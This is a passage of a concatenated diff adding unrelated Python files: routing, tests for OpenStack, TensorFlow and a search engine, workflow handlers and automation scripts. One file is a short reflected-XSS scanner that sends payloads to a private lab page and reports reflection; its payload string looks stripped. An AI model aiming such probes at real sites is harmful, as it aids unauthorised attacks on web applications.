a/pool/shard008/Python/0077023_route.py b/pool/shard008/Python/0077023_route.py new file mode 100644 index 0000000000000000000000000000000000000000..c446fc560d583f6b8954a5ad5d9df9d20ee50413 --- /dev/null +++ b/pool/shard008/Python/0077023_route.py @@ -0,0 +1,86 @@ +"""HTTP Request Routing""" + +import collections +import logging +import re + +LOGGER = logging.getLogger(__name__) + +Match = collections.namedtuple('Match', [ + 'handler', 'name', 'pattern', 'suppress_logging', 'init_kwargs', 'args', + 'kwargs' +]) + + +def match(routes, request): + """Find a route match + + Iterate over the list of routes, checking each route returning the + first match that is found. + + :rtype: troika.http.route.Match + + """ + for route in routes: + result = route.match(request.path) + if result: + return Match(route.handler, route.name, route.pattern, + route.suppress_logging, route.kwargs, + result.group(), result.groupdict()) + + +class Route: + + """Web Application Route Association + + Specifies the association between a URI path pattern and a + :cls:`~troika.http.RequestHandler`. + + """ + + __slots__ = ('pattern', 'compiled', 'handler', 'kwargs', 'name', + 'suppress_logging') + + def __init__(self, + pattern, + handler, + kwargs=None, + name=None, + suppress_logging=False): + """Create a new Route association + + :param str pattern: The regex pattern to use for matching the path + :param handler: Class to invoke to handle the request + :type handler: troika.http.RequestHandler + :param kwargs: Optional dictionary of arguments that are passed into + the handler's constructor. + :param name: The name for this pattern and handler combination. This + is used by :meth:`troika.http.Application.reverse_url`. + + """ + if not pattern.endswith('$'): + pattern += '$' + self.pattern = pattern + self.compiled = re.compile(pattern) + self.handler = handler + self.kwargs = kwargs or {} + self.name = name + self.suppress_logging = suppress_logging + + def __repr__(self): + """Return the string representation of the route. + + :rtype: str + + """ + return '{}({}, kwargs={!r}, name={!r})'.format( + self.__class__.__name__, self.pattern, self.kwargs, self.name) + + def match(self, value): + """Perform pattern matching on this route. + + :param str value: The HTTP request path + :rtype: re.Match + + """ + return self.compiled.match(value) diff --git a/pool/shard008/Python/0077031_filters.py b/pool/shard008/Python/0077031_filters.py new file mode 100644 index 0000000000000000000000000000000000000000..1a95e27fbe72f0d2db45307775ec75fa262c98d4 --- /dev/null +++ b/pool/shard008/Python/0077031_filters.py @@ -0,0 +1,22 @@ +import datetime +from cloud import app + +def ff(i, st): + if i == 0: + return + else: + if i == 1: + st = st[:-1] + return '{0} {1}'.format(i, st) + +@app.template_filter('hms') +def _jinja2_filter_hms(time): + td = datetime.timedelta(seconds=time) + days = td.days + hours, remainder = divmod(td.seconds, 3600) + minutes, seconds = divmod(remainder, 60) + ss_ = [ff(i, st) for i, st in [[days, 'days'], [hours, 'hours'], [minutes, 'minutes'], [seconds, 'seconds']]] + ss = [s for s in ss_ if s is not None] + return ', '.join(ss) + + diff --git a/pool/shard008/Python/0077033_test_project.py b/pool/shard008/Python/0077033_test_project.py new file mode 100644 index 0000000000000000000000000000000000000000..96d41c3a14bd6c400153c1ae34bcb41d6913f182 --- /dev/null +++ b/pool/shard008/Python/0077033_test_project.py @@ -0,0 +1,126 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import json + +from tempest.lib.common.utils import data_utils + +from openstackclient.tests.functional.identity.v3 import common + + +class ProjectTests(common.IdentityTests): + + def test_project_create(self): + project_name = data_utils.rand_name('TestProject') + description = data_utils.rand_name('description') + raw_output = self.openstack( + 'project create ' + '--domain %(domain)s ' + '--description %(description)s ' + '--enable ' + '--property k1=v1 ' + '--property k2=v2 ' + '%(name)s' % {'domain': self.domain_name, + 'description': description, + 'name': project_name}) + self.addCleanup( + self.openstack, + 'project delete ' + '--domain %(domain)s ' + '%(name)s' % {'domain': self.domain_name, + 'name': project_name} + ) + items = self.parse_show(raw_output) + show_fields = list(self.PROJECT_FIELDS) + show_fields.extend(['k1', 'k2']) + self.assert_show_fields(items, show_fields) + project = self.parse_show_as_object(raw_output) + self.assertEqual('v1', project['k1']) + self.assertEqual('v2', project['k2']) + + def test_project_delete(self): + project_name = self._create_dummy_project(add_clean_up=False) + raw_output = self.openstack( + 'project delete ' + '--domain %(domain)s ' + '%(name)s' % {'domain': self.domain_name, + 'name': project_name}) + self.assertEqual(0, len(raw_output)) + + def test_project_list(self): + raw_output = self.openstack('project list') + items = self.parse_listing(raw_output) + self.assert_table_structure(items, common.BASIC_LIST_HEADERS) + + def test_project_list_with_domain(self): + project_name = self._create_dummy_project() + raw_output = self.openstack( + 'project list --domain %s' % self.domain_name) + items = self.parse_listing(raw_output) + self.assert_table_structure(items, common.BASIC_LIST_HEADERS) + self.assertIn(project_name, raw_output) + self.assertGreater(len(items), 0) + + def test_project_set(self): + project_name = self._create_dummy_project() + new_project_name = data_utils.rand_name('NewTestProject') + raw_output = self.openstack( + 'project set ' + '--name %(new_name)s ' + '--disable ' + '--property k0=v0 ' + '%(name)s' % {'new_name': new_project_name, + 'domain': self.domain_name, + 'name': project_name}) + self.assertEqual(0, len(raw_output)) + # check project details + raw_output = self.openstack( + 'project show ' + '--domain %(domain)s ' + '%(name)s' % {'domain': self.domain_name, + 'name': new_project_name} + ) + items = self.parse_show(raw_output) + fields = list(self.PROJECT_FIELDS) + fields.extend(['k0']) + self.assert_show_fields(items, fields) + project = self.parse_show_as_object(raw_output) + self.assertEqual(new_project_name, project['name']) + self.assertEqual('False', project['enabled']) + self.assertEqual('v0', project['k0']) + # reset project to make sure it will be cleaned up + self.openstack( + 'project set ' + '--name %(new_name)s ' + '--enable ' + '%(name)s' % {'new_name': project_name, + 'name': new_project_name}) + + def test_project_show(self): + raw_output = self.openstack( + 'project show ' + '--domain %(domain)s ' + '%(name)s' % {'domain': self.domain_name, + 'name': self.project_name}) + items = self.parse_show(raw_output) + self.assert_show_fields(items, self.PROJECT_FIELDS) + + def test_project_show_with_parents_children(self): + json_output = json.loads(self.openstack( + 'project show ' + '--parents --children -f json ' + '--domain %(domain)s ' + '%(name)s' % {'domain': self.domain_name, + 'name': self.project_name})) + for attr_name in (self.PROJECT_FIELDS + ['parents', 'subtree']): + self.assertIn(attr_name, json_output) + self.assertEqual(self.project_name, json_output.get('name')) diff --git a/pool/shard008/Python/0077035_idl_namespace.py b/pool/shard008/Python/0077035_idl_namespace.py new file mode 100644 index 0000000000000000000000000000000000000000..5630ae28239989294b8b239001fd0717b64c9ee7 --- /dev/null +++ b/pool/shard008/Python/0077035_idl_namespace.py @@ -0,0 +1,249 @@ +#!/usr/bin/env python +# Copyright (c) 2012 The Chromium Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +""" +IDLNamespace for PPAPI + +This file defines the behavior of the AST namespace which allows for resolving +a symbol as one or more AST nodes given a release or range of releases. +""" + +from __future__ import print_function + +import sys + +from idl_option import GetOption, Option, ParseOptions +from idl_log import ErrOut, InfoOut, WarnOut +from idl_release import IDLRelease, IDLReleaseList + +Option('label', 'Use the specifed label blocks.', default='Chrome') +Option('namespace_debug', 'Use the specified release') + + +# +# IDLNamespace +# +# IDLNamespace provides a mapping between a symbol name and an IDLReleaseList +# which contains IDLRelease objects. It provides an interface for fetching +# one or more IDLNodes based on a release or range of releases. +# +class IDLNamespace(object): + def __init__(self, parent): + self._name_to_releases = {} + self._parent = parent + + def Dump(self): + for name in self._name_to_releases: + InfoOut.Log('NAME=%s' % name) + for cver in self._name_to_releases[name].GetReleases(): + InfoOut.Log(' %s' % cver) + InfoOut.Log('') + + def FindRelease(self, name, release): + verlist = self._name_to_releases.get(name, None) + if verlist == None: + if self._parent: + return self._parent.FindRelease(name, release) + else: + return None + return verlist.FindRelease(release) + + def FindRange(self, name, rmin, rmax): + verlist = self._name_to_releases.get(name, None) + if verlist == None: + if self._parent: + return self._parent.FindRange(name, rmin, rmax) + else: + return [] + return verlist.FindRange(rmin, rmax) + + def FindList(self, name): + verlist = self._name_to_releases.get(name, None) + if verlist == None: + if self._parent: + return self._parent.FindList(name) + return verlist + + def AddNode(self, node): + name = node.GetName() + verlist = self._name_to_releases.setdefault(name,IDLReleaseList()) + if GetOption('namespace_debug'): + print("Adding to namespace: %s" % node) + return verlist.AddNode(node) + + +# +# Testing Code +# + +# +# MockNode +# +# Mocks the IDLNode to support error, warning handling, and string functions. +# +class MockNode(IDLRelease): + def __init__(self, name, rmin, rmax): + self.name = name + self.rmin = rmin + self.rmax = rmax + self.errors = [] + self.warns = [] + self.properties = { + 'NAME': name, + 'release': rmin, + 'deprecate' : rmax + } + + def __str__(self): + return '%s (%s : %s)' % (self.name, self.rmin, self.rmax) + + def GetName(self): + return self.name + + def Error(self, msg): + if GetOption('release_debug'): + print('Error: %s' % msg) + self.errors.append(msg) + + def Warn(self, msg): + if GetOption('release_debug'): + print('Warn: %s' % msg) + self.warns.append(msg) + + def GetProperty(self, name): + return self.properties.get(name, None) + +errors = 0 +# +# DumpFailure +# +# Dumps all the information relevant to an add failure. +def DumpFailure(namespace, node, msg): + global errors + print('\n******************************') + print('Failure: %s %s' % (node, msg)) + for warn in node.warns: + print(' WARN: %s' % warn) + for err in node.errors: + print(' ERROR: %s' % err) + print('\n') + namespace.Dump() + print('******************************\n') + errors += 1 + +# Add expecting no errors or warnings +def AddOkay(namespace, node): + okay = namespace.AddNode(node) + if not okay or node.errors or node.warns: + DumpFailure(namespace, node, 'Expected success') + +# Add expecting a specific warning +def AddWarn(namespace, node, msg): + okay = namespace.AddNode(node) + if not okay or node.errors or not node.warns: + DumpFailure(namespace, node, 'Expected warnings') + if msg not in node.warns: + DumpFailure(namespace, node, 'Expected warning: %s' % msg) + +# Add expecting a specific error any any number of warnings +def AddError(namespace, node, msg): + okay = namespace.AddNode(node) + if okay or not node.errors: + DumpFailure(namespace, node, 'Expected errors') + if msg not in node.errors: + DumpFailure(namespace, node, 'Expected error: %s' % msg) + print(">>%s<<\n>>%s<<\n" % (node.errors[0], msg)) + +# Verify that a FindRelease call on the namespace returns the expected node. +def VerifyFindOne(namespace, name, release, node): + global errors + if (namespace.FindRelease(name, release) != node): + print("Failed to find %s as release %f of %s" % (node, release, name)) + namespace.Dump() + print("\n") + errors += 1 + +# Verify that a FindRage call on the namespace returns a set of expected nodes. +def VerifyFindAll(namespace, name, rmin, rmax, nodes): + global errors + out = namespace.FindRange(name, rmin, rmax) + if (out != nodes): + print("Found [%s] instead of[%s] for releases %f to %f of %s" % (' '.join([ + str(x) for x in out + ]), ' '.join([str(x) for x in nodes]), rmin, rmax, name)) + namespace.Dump() + print("\n") + errors += 1 + +def Main(args): + global errors + ParseOptions(args) + + InfoOut.SetConsole(True) + + namespace = IDLNamespace(None) + + FooXX = MockNode('foo', None, None) + Foo1X = MockNode('foo', 1.0, None) + Foo2X = MockNode('foo', 2.0, None) + Foo3X = MockNode('foo', 3.0, None) + + # Verify we succeed with undeprecated adds + AddOkay(namespace, FooXX) + AddOkay(namespace, Foo1X) + AddOkay(namespace, Foo3X) + # Verify we fail to add a node between undeprecated releases + AddError(namespace, Foo2X, + 'Overlap in releases: 3.0 vs 2.0 when adding foo (2.0 : None)') + + BarXX = MockNode('bar', None, None) + Bar12 = MockNode('bar', 1.0, 2.0) + Bar23 = MockNode('bar', 2.0, 3.0) + Bar34 = MockNode('bar', 3.0, 4.0) + + + # Verify we succeed with fully qualified releases + namespace = IDLNamespace(namespace) + AddOkay(namespace, BarXX) + AddOkay(namespace, Bar12) + # Verify we warn when detecting a gap + AddWarn(namespace, Bar34, 'Gap in release numbers.') + # Verify we fail when inserting into this gap + # (NOTE: while this could be legal, it is sloppy so we disallow it) + AddError(namespace, Bar23, 'Declarations out of order.') + + # Verify local namespace + VerifyFindOne(namespace, 'bar', 0.0, BarXX) + VerifyFindAll(namespace, 'bar', 0.5, 1.5, [BarXX, Bar12]) + + # Verify the correct release of the object is found recursively + VerifyFindOne(namespace, 'foo', 0.0, FooXX) + VerifyFindOne(namespace, 'foo', 0.5, FooXX) + VerifyFindOne(namespace, 'foo', 1.0, Foo1X) + VerifyFindOne(namespace, 'foo', 1.5, Foo1X) + VerifyFindOne(namespace, 'foo', 3.0, Foo3X) + VerifyFindOne(namespace, 'foo', 100.0, Foo3X) + + # Verify the correct range of objects is found + VerifyFindAll(namespace, 'foo', 0.0, 1.0, [FooXX]) + VerifyFindAll(namespace, 'foo', 0.5, 1.0, [FooXX]) + VerifyFindAll(namespace, 'foo', 1.0, 1.1, [Foo1X]) + VerifyFindAll(namespace, 'foo', 0.5, 1.5, [FooXX, Foo1X]) + VerifyFindAll(namespace, 'foo', 0.0, 3.0, [FooXX, Foo1X]) + VerifyFindAll(namespace, 'foo', 3.0, 100.0, [Foo3X]) + + FooBar = MockNode('foobar', 1.0, 2.0) + namespace = IDLNamespace(namespace) + AddOkay(namespace, FooBar) + + if errors: + print('Test failed with %d errors.' % errors) + else: + print('Passed.') + return errors + + +if __name__ == '__main__': + sys.exit(Main(sys.argv[1:])) diff --git a/pool/shard008/Python/0077039_meta.py b/pool/shard008/Python/0077039_meta.py new file mode 100644 index 0000000000000000000000000000000000000000..9a0bbef17d6d606da5613831d61bd3662eae48c8 --- /dev/null +++ b/pool/shard008/Python/0077039_meta.py @@ -0,0 +1,198 @@ +from random import randint + +from stdnet import odm, QuerySetError +from stdnet.utils import test +from stdnet.odm.search import UpdateSE +from stdnet.utils import test, to_string, range +from stdnet.apps.searchengine import SearchEngine, processors + +from examples.wordsearch.basicwords import basic_english_words +from examples.wordsearch.models import Item, RelatedItem +from examples.models import SimpleModel + +python_content = 'Python is a programming language that lets you work more\ + quickly and integrate your systems more effectively.\ + You can learn to use Python and see almost immediate gains\ + in productivity and lower maintenance costs.' + + +NAMES = {'maurice':('MRS', None), + 'aubrey':('APR', None), + 'cambrillo':('KMPRL','KMPR'), + 'heidi':('HT', None), + 'katherine':('K0RN','KTRN'), + 'Thumbail':('0MPL','TMPL'), + 'catherine':('K0RN','KTRN'), + 'richard':('RXRT','RKRT'), + 'bob':('PP', None), + 'eric':('ARK', None), + 'geoff':('JF','KF'), + 'Through':('0R','TR'), + 'Schwein':('XN', 'XFN'), + 'dave':('TF', None), + 'ray':('R', None), + 'steven':('STFN', None), + 'bryce':('PRS', None), + 'randy':('RNT', None), + 'bryan':('PRN', None), + 'Rapelje':('RPL', None), + 'brian':('PRN', None), + 'otto':('AT', None), + 'auto':('AT', None), + 'Dallas':('TLS', None), + 'maisey':('MS', None), + 'zhang':('JNK', None), + 'Chile':('XL', None), + 'Jose':('HS', None), + 'Arnow':('ARN','ARNF'), + 'solilijs':('SLLS', None), + 'Parachute':('PRKT', None), + 'Nowhere':('NR', None), + 'Tux':('TKS', None)} + + +class SeearchData(test.DataGenerator): + sizes = {'tiny': (10, 10), + 'small': (50, 20), + 'normal': (500, 30), + 'big': (10000, 40), + 'huge': (1000000, 50)} + + def generate(self): + size, num = self.size + self.names = self.populate('choice', size=size, + choice_from=basic_english_words) + self.groups = [] + self.empty = size*[''] + for i in range(size): + text = ' '.join(self.populate('choice', num,\ + choice_from=basic_english_words)) + self.groups.append(text) + + def make_items(self, test, content=False, related=None): + '''Bulk creation of Item for testing search engine. Return a set +of words which have been included in the Items.''' + session = test.session() + words = set() + contents = self.groups if content else self.empty + with session.begin() as t: + for name, content in zip(self.names, contents): + if len(name) > 3: + words.add(name) + if content: + words.update(content.split()) + t.add(Item(name=name, counter=randint(0,10), + content=content, related=related)) + yield t.on_result + test.words = words + yield test.words + + +class SearchMixin(object): + '''Mixin for testing the search engine. No tests implemented here, +just registration and some utility functions. All search-engine tests +below will derive from this class.''' + multipledb = 'redis' + metaphone = True + stemming = True + models = (Item, RelatedItem) + data_cls = SeearchData + + @classmethod + def after_setup(cls): + cls.mapper.set_search_engine(cls.make_engine()) + cls.mapper.search_engine.register(Item, ('related',)) + cls.mapper.search_engine.register(RelatedItem) + + @classmethod + def make_engine(cls): + return SearchEngine(metaphone=cls.metaphone, stemming=cls.stemming) + + def make_item(self, name='python', counter=10, content=None, related=None): + content = content if content is not None else python_content + return self.mapper.item.new(name=name, counter=counter, content=content, + related=related) + + def simpleadd(self, name='python', counter=10, content=None, related=None): + models = self.mapper + engine = models.search_engine + item = yield self.make_item(name, counter, content, related) + wis = yield engine.worditems(item).all() + self.assertTrue(wis) + session = self.session() + objects = yield self.multi_async((wi.object(session) for wi in wis)) + for object in objects: + self.assertEqual(object, item) + yield item, wis + + +class TestMeta(SearchMixin, test.TestCase): + '''Test internal functions, not the API.''' + def test_mapper(self): + models = self.mapper + self.assertTrue(models.search_engine) + self.assertEqual(models.search_engine.router, models) + + def testSplitting(self): + eg = SearchEngine(metaphone=False, stemming=False) + self.assertEqual(list(eg.words_from_text('bla-ciao+pippo')),\ + ['bla','ciao','pippo']) + self.assertEqual(list(eg.words_from_text('bla.-ciao:;pippo')),\ + ['bla','ciao','pippo']) + self.assertEqual(list(eg.words_from_text(' bla ; @ciao ;:`')),\ + ['bla','ciao']) + self.assertEqual(list(eg.words_from_text('bla bla____bla')),\ + ['bla','bla','bla']) + + def testSplitters(self): + eg = SearchEngine(splitters=False) + self.assertEqual(eg.punctuation_regex, None) + words = list(eg.split_text('pippo:pluto')) + self.assertEqual(len(words),1) + self.assertEqual(words[0],'pippo:pluto') + words = list(eg.split_text('pippo: pluto')) + self.assertEqual(len(words),2) + self.assertEqual(words[0],'pippo:') + + def testMetaphone(self): + '''Test metaphone algorithm''' + for name in NAMES: + d = processors.double_metaphone(name) + self.assertEqual(d,NAMES[name]) + + def testRegistered(self): + models = self.mapper + self.assertTrue(Item in models.search_engine.REGISTERED_MODELS) + self.assertTrue(RelatedItem in models.search_engine.REGISTERED_MODELS) + self.assertFalse(SimpleModel in models.search_engine.REGISTERED_MODELS) + self.assertEqual(models.search_engine.REGISTERED_MODELS[Item].related, + ('related',)) + self.assertEqual( + models.search_engine.REGISTERED_MODELS[RelatedItem].related, ()) + + def testNoSearchEngine(self): + models = odm.Router(self.backend) + models.register(SimpleModel) + self.assertFalse(models.search_engine) + query = models.simplemodel.query() + qs = query.search('bla') + self.assertRaises(QuerySetError, qs.all) + + +class TestCoverageBaseClass(test.TestCase): + + def testAbstracts(self): + e = odm.SearchEngine() + self.assertRaises(NotImplementedError, e.search, 'bla') + self.assertRaises(NotImplementedError, e.search_model, None, 'bla') + self.assertRaises(NotImplementedError, e.flush) + self.assertRaises(NotImplementedError, e.add_item, None, None, None) + self.assertRaises(NotImplementedError, e.remove_item, None, None, None) + self.assertRaises(AttributeError, e.session) + self.assertEqual(e.split_text('ciao luca'), ['ciao','luca']) + + def testItemFieldIterator(self): + e = odm.SearchEngine() + self.assertRaises(ValueError, e.item_field_iterator, None) + u = UpdateSE(e) + self.assertEqual(u.se, e) \ No newline at end of file diff --git a/pool/shard008/Python/0077040_powersign_test.py b/pool/shard008/Python/0077040_powersign_test.py new file mode 100644 index 0000000000000000000000000000000000000000..5fa7706d7294f2cffb7d24a56851be02d759335a --- /dev/null +++ b/pool/shard008/Python/0077040_powersign_test.py @@ -0,0 +1,142 @@ +# Copyright 2017 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Tests for PowerSign.""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import math +import numpy as np + +from tensorflow.compiler.tests import xla_test +from tensorflow.contrib.opt.python.training import powersign +from tensorflow.contrib.opt.python.training import sign_decay +from tensorflow.python.framework import constant_op +from tensorflow.python.ops import resource_variable_ops +from tensorflow.python.ops import variables +from tensorflow.python.platform import test + + +def py_linear_decay_fn(decay_steps): + def linear_decay(step): + step = min(step, decay_steps) + return float(decay_steps - step) / decay_steps + return linear_decay + + +def powersign_update_numpy(params, + g_t, + m, + lr, + base=math.e, + beta=0.9, + py_sign_decay_fn=None, + t=None): + m_t = beta * m + (1 - beta) * g_t + if py_sign_decay_fn is None: + sign_decayed = 1.0 + else: + sign_decayed = py_sign_decay_fn(t-1) + multiplier = base ** (sign_decayed * np.sign(g_t) * np.sign(m_t)) + params_t = params - lr * multiplier * g_t + return params_t, m_t + + +class PowerSignTest(xla_test.XLATestCase): + + def _testDense(self, + learning_rate=0.1, + sign_decay_fn=None, + py_sign_decay_fn=None, + base=math.e, + beta=0.9): + for dtype in self.float_types: + with self.test_session(), self.test_scope(): + # Initialize variables for numpy implementation. + m0, m1 = 0.0, 0.0 + var0_np = np.array([1.0, 2.0], dtype=dtype) + grads0_np = np.array([0.1, 0.1], dtype=dtype) + var1_np = np.array([3.0, 4.0], dtype=dtype) + grads1_np = np.array([0.01, 0.01], dtype=dtype) + + var0 = resource_variable_ops.ResourceVariable(var0_np) + var1 = resource_variable_ops.ResourceVariable(var1_np) + global_step = resource_variable_ops.ResourceVariable(0, trainable=False) + grads0 = constant_op.constant(grads0_np) + grads1 = constant_op.constant(grads1_np) + + opt = powersign.PowerSignOptimizer( + learning_rate=learning_rate, + base=base, + beta=beta, + sign_decay_fn=sign_decay_fn, + ) + update = opt.apply_gradients(zip([grads0, grads1], [var0, var1]), + global_step=global_step) + neg_update = opt.apply_gradients(zip([-grads0, -grads1], [var0, var1]), + global_step=global_step) + + variables.global_variables_initializer().run() + # Fetch params to validate initial values + self.assertAllClose([1.0, 2.0], var0.eval()) + self.assertAllClose([3.0, 4.0], var1.eval()) + + # Run 7 steps of powersign + # first 4 steps with positive gradient + # last 3 steps with negative gradient (sign(gm) should be -1) + for t in range(1, 8): + if t < 5: + update.run() + else: + neg_update.run() + + var0_np, m0 = powersign_update_numpy( + var0_np, + grads0_np if t < 5 else -grads0_np, + m0, + learning_rate, + base=base, + beta=beta, + py_sign_decay_fn=py_sign_decay_fn, + t=t, + ) + var1_np, m1 = powersign_update_numpy( + var1_np, + grads1_np if t < 5 else -grads1_np, + m1, + learning_rate, + base=base, + beta=beta, + py_sign_decay_fn=py_sign_decay_fn, + t=t, + ) + + # Validate updated params + self.assertAllCloseAccordingToType(var0_np, var0.eval()) + self.assertAllCloseAccordingToType(var1_np, var1.eval()) + + def testDense(self): + decay_steps = 10 + sign_decay_fn = sign_decay.get_linear_decay_fn(decay_steps) + py_sign_decay_fn = py_linear_decay_fn(decay_steps) + self._testDense() + self._testDense(learning_rate=0.1, base=10.0, beta=0.8) + self._testDense( + sign_decay_fn=sign_decay_fn, py_sign_decay_fn=py_sign_decay_fn) + + +if __name__ == '__main__': + test.main() diff --git a/pool/shard008/Python/0077043_xssKontrol.py b/pool/shard008/Python/0077043_xssKontrol.py new file mode 100644 index 0000000000000000000000000000000000000000..b61a23fb28c425a8e29fd7fc1b8b8468822b1bd7 --- /dev/null +++ b/pool/shard008/Python/0077043_xssKontrol.py @@ -0,0 +1,17 @@ +# -*- coding: utf-8 -*- +import requests +yazi="http://192.168.43.44/xss/example1.php?name=hacker" +esittirIndis=yazi.find("=") +print esittirIndis +payload=["

blackbox","111"] +for i in payload: + istek=str(yazi[:esittirIndis+1])+str(i) + print istek + icerik=requests.get(istek) + if i in icerik.content: + print "XSS var..." + print "Payload: ",str(i) + print "================" + else: + print "XSS yok" + print "===============" diff --git a/pool/shard008/Python/0077044_simshell4.py b/pool/shard008/Python/0077044_simshell4.py new file mode 100644 index 0000000000000000000000000000000000000000..16d1bab39e6168789fc6c89ae3ac001e2d6f261e --- /dev/null +++ b/pool/shard008/Python/0077044_simshell4.py @@ -0,0 +1,53 @@ +from __future__ import print_function +import sys +from datetime import datetime +import time +import array +import struct +import os + +sys.path.append("build/lib/python/") +import vsimj4a + +sys.path.append("../../shell") +import swapforth + +class TetheredJ1a(swapforth.TetheredTarget): + cellsize = 2 + + def open_ser(self, port, speed): + self.ser = vsimj4a.vsimj4a() + + def reset(self): + ser = self.ser + ser.reset() + for c in ' 1 tth !': + ser.write(c) + ser.write('\r') + + while 1: + c = ser.read(1) + # print(repr(c)) + if c == b'\x1e': + break + + def boot(self, bootfile = None): + sys.stdout.write('Contacting... ') + self.reset() + print('established') + + def interrupt(self): + self.reset() + + def serialize(self): + l = self.command_response('0 here dump') + lines = l.strip().replace('\r', '').split('\n') + s = [] + for l in lines: + l = l.split() + s += [int(b, 16) for b in l[1:17]] + s = array.array('B', s).tostring().ljust(8192, chr(0xff)) + return array.array('H', s) + +if __name__ == '__main__': + swapforth.main(TetheredJ1a) diff --git a/pool/shard008/Python/0077046_handlers.py b/pool/shard008/Python/0077046_handlers.py new file mode 100644 index 0000000000000000000000000000000000000000..4c9b0560e0682f51eded529ea4fa4c5b1e4d040d --- /dev/null +++ b/pool/shard008/Python/0077046_handlers.py @@ -0,0 +1,172 @@ +import logging +import collections + +from yawf.permissions import BasePermissionChecker, OrChecker +from yawf.config import INITIAL_STATE + +logger = logging.getLogger(__name__) + +__all__ = ['Handler', 'SimpleStateTransition', 'ComplexStateTransition', + 'EditHandler', 'SerializibleHandlerResult'] + + +class Handler(object): + ''' + Basic class to express state transitions, both simple and extended. + + Handler object is a callable. It gets a workflow object, message sender + and arbitrary keyword arguments (passed with message) and must return + new state id based on this information (it can return None and message + will be ignored). + + If handler returns a callable, then this callable applies as transaction + on object (to change its extended state). The result of the latter + callable represents a transition result. If callable returns generator, + transition routine will iterate over it, collecting the yielded values. + For more information about state transition, see + :py:mod:`yawf.state_transition` module. + + Transitioning callable can actually return anything besides generator. + That is totally an application designer business. + ''' + message_id = None + message_group = None + states_from = None + permission_checker = None + defer = True + replace_if_exists = False + copy_before_call = False + + def __init__(self, message_id=None, states_from=None, + message_group=None, + permission_checker=None): + + if message_id is not None: + self.message_id = message_id + if message_group is not None: + self.message_group = message_group + if states_from is not None: + self.states_from = states_from + if permission_checker is not None: + self.permission_checker = permission_checker + + message_group = self.message_group + + if message_group is not None: + if isinstance(message_group, basestring): + self.message_group = [message_group] + if self.message_id is None: + self.message_id = message_group + else: + assert isinstance(message_group, collections.Iterable) + elif self.message_id is None: + raise ValueError("message_id must be specified for handler") + + if self.permission_checker is not None: + self._align_permission_checker() + + super(Handler, self).__init__() + + def _align_permission_checker(self): + if not isinstance(self.permission_checker, collections.Iterable): + if not isinstance(self.permission_checker, BasePermissionChecker): + self.permission_checker = OrChecker(self.permission_checker,) + else: + self.permission_checker = OrChecker(*self.permission_checker) + + assert callable(self.permission_checker) + + def __call__(self, obj, sender, **kwargs): + return self.perform(obj, sender, **kwargs) + + def perform(self, obj, sender, **kwargs): + logger.warning("Message ignored (by default)") + return None + + def set_performer(self, handle_func): + self.perform = lambda obj, sender, **kwargs:\ + handle_func(obj, sender, **kwargs) + + +class SimpleStateTransition(Handler): + + state_to = None + + def __init__(self, *args, **kwargs): + self.states_to = [self.state_to] + self.is_annotated = True + super(SimpleStateTransition, self).__init__(*args, **kwargs) + + def perform(self, obj, sender, **kwargs): + return self.state_to + + +class ComplexStateTransition(Handler): + + def transition(self, obj, sender, **kwargs): + raise NotImplementedError + + def perform(self, obj, sender, **kwargs): + return lambda obj: self.transition(obj, sender, **kwargs) + + +class EditHandler(ComplexStateTransition): + + field_names = None + + def post_hook(self, obj): + return + + def transition(self, obj, sender, **kwargs): + + # to ensure that we will update, not insert new + kwargs.pop('id', None) + kwargs.pop('pk', None) + + field_names = self.field_names + if field_names: + for field_name in field_names: + value = kwargs.get(field_name, '__missing') + if value != '__missing': + setattr(obj, field_name, value) + else: + for field_name in (f.name for f in obj._meta.fields): + value = kwargs.get(field_name, '__missing') + if value != '__missing': + setattr(obj, field_name, value) + + for field_name in (f.name for f in obj._meta.many_to_many): + value = kwargs.get(field_name) + if value is not None: + setattr(obj, field_name, value) + + obj.save() + + return self.post_hook(obj) + + +class LoopHandler(Handler): + + def perform(self, obj, sender, **kwargs): + return getattr(obj, obj.workflow.state_attr_name) + + +class StartWorkflowHandlerBase(SimpleStateTransition): + + message_id = 'start_workflow' + states_from = [INITIAL_STATE] + + +class SerializibleHandlerResult(object): + + type = None + + def __init__(self, **kwargs): + self.kwargs = kwargs + super(SerializibleHandlerResult, self).__init__() + + def get_serializible_value(self): + return { + 'type': self.type, + 'result': self.kwargs, + } diff --git a/pool/shard008/Python/0077047_main.py b/pool/shard008/Python/0077047_main.py new file mode 100644 index 0000000000000000000000000000000000000000..ed1c0cb21de80c2b64e29a6e57d353b64e89d340 --- /dev/null +++ b/pool/shard008/Python/0077047_main.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +''' +nija test example +''' + +import sys +import os +import airtest + +serialno = os.getenv('AIRTEST_PHONENO') +appname = os.getenv('AIRTEST_APPNAME') +device = os.getenv('DEVICE') or 'android' + +app = airtest.connect(serialno, appname=appname, device=device) +print 'connected' + +app.stop() +app.sleep(4) +app.start() + +app.sleep(5) # wait for start loading +app.click('youke.png') # 游客入口 +app.sleep(15) # wait for loading + +# 领取奖励 +if app.clickIfExists('reward.png'): + app.click(app.center()) +app.sleep(5) + +# 关闭公告板 +if app.exists('pubboard.png'): + app.click('close_pub.png') + +if app.clickIfExists('match_confirm.png'): + app.sleep(8) # wait for loading + +if app.clickIfExists('receiveit.png'): + app.click('confirm.png') + +position = app.wait('beizhan.png') +app.click(position) +app.sleep(2) +app.click(position) +print 'NOW loading into game' diff --git a/pool/shard008/Python/0077049_compile_db_test.py b/pool/shard008/Python/0077049_compile_db_test.py new file mode 100644 index 